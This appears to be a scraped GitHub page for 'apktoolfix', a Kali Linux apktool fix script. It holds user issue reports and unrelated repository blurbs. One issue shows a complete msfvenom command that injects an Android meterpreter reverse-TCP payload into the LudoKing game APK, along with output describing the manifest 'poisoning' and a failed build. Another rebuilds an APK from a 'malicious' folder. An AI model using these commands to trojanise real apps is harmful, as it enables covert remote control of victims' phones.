graylagx2 / apktoolfix Goto Github PK
View Code? Open in Web Editor NEWFixes errors for apktool in kali linux
Fixes errors for apktool in kali linux
sudo msfvenom -x LudoKing.apk -p android/meterpreter/reverse_tcp lhost=127.0.0.1 lport=4444 -o Ludo.apk
Using APK template: LudoKing.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package com.ludo.king.lrqqg
[] Loading /tmp/d20230705-8101-uen06r/original/smali/androidx/multidex/MultiDexApplication.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Rebuilding apk with meterpreter injection as /tmp/d20230705-8101-uen06r/output.apk
[-] I: Using Apktool 2.7.0
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
Exception in thread "main" org.jf.util.ExceptionWithContext: Exception occurred while writing code_item for method Landroidx/annotation/RestrictTo$Scope;->values()[Landroidx/annotation/RestrictTo$Scope;
at org.jf.dexlib2.writer.DexWriter.writeDebugAndCodeItems(DexWriter.java:1058)
at org.jf.dexlib2.writer.DexWriter.writeTo(DexWriter.java:354)
at org.jf.dexlib2.writer.DexWriter.writeTo(DexWriter.java:309)
at brut.androlib.src.SmaliBuilder.build(SmaliBuilder.java:58)
at brut.androlib.src.SmaliBuilder.build(SmaliBuilder.java:37)
at brut.androlib.Androlib.buildSourcesSmali(Androlib.java:437)
at brut.androlib.Androlib.buildSources(Androlib.java:368)
at brut.androlib.Androlib.build(Androlib.java:320)
at brut.androlib.Androlib.build(Androlib.java:287)
at brut.apktool.Main.cmdBuild(Main.java:263)
at brut.apktool.Main.main(Main.java:82)
Caused by: org.jf.util.ExceptionWithContext: Error while writing instruction at code offset 0x2
at org.jf.dexlib2.writer.DexWriter.writeCodeItem(DexWriter.java:1331)
at org.jf.dexlib2.writer.DexWriter.writeDebugAndCodeItems(DexWriter.java:1054)
... 10 more
Caused by: org.jf.util.ExceptionWithContext: Unsigned short value out of range: 65555
at org.jf.dexlib2.writer.DexDataWriter.writeUshort(DexDataWriter.java:116)
at org.jf.dexlib2.writer.InstructionWriter.write(InstructionWriter.java:356)
at org.jf.dexlib2.writer.DexWriter.writeCodeItem(DexWriter.java:1291)
... 11 more
Error: apktool execution failed
I have used your script and it worked flawlessly. Now I had installed latest apktool by the command apt-get install apktool and it was installed. But, after running the script it installed apktool 2.4.x and now I want to change to apktool 2.5.0 to work on some other applications. if I type apktool --version it displays 2.4.1 and when I type apt-get install apktool "apktool is already the newest version (2.5.0+dfsg.1-2)." Please help me solve this ambiguity.
root@kali:/usr/share# apktool b /sdcard/malicious/lite
I: Using Apktool 2.4.1
I: Checking whether sources has changed...
I: Checking whether resources has changed...
I: Building resources...
brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 2): [/tmp/brut_util_Jar_2285372021417925437.tmp, p, --forced-package-id, 127, --min-sdk-version, 15, --target-sdk-version, 28, --version-code, 244869092, --version-name, 216.0.0.10.121, --no-version-vectors, -F, /tmp/APKTOOL6438902344247228489.tmp, -e, /tmp/APKTOOL335927903907616092.tmp, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /sdcard/malicious/lite/res, -M, /sdcard/malicious/lite/AndroidManifest.xml]
W: /tmp/brut_util_Jar_2285372021417925437.tmp: 1: �ELF: not found
W: /tmp/brut_util_Jar_2285372021417925437.tmp: 1: Syntax error: end of file unexpected (expecting ")")
This problem occurs when i try to recompile the apk file
bash: ./apktoolfix_2.1.sh: / bin / bash / env: bad interpreter: Not a directory
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.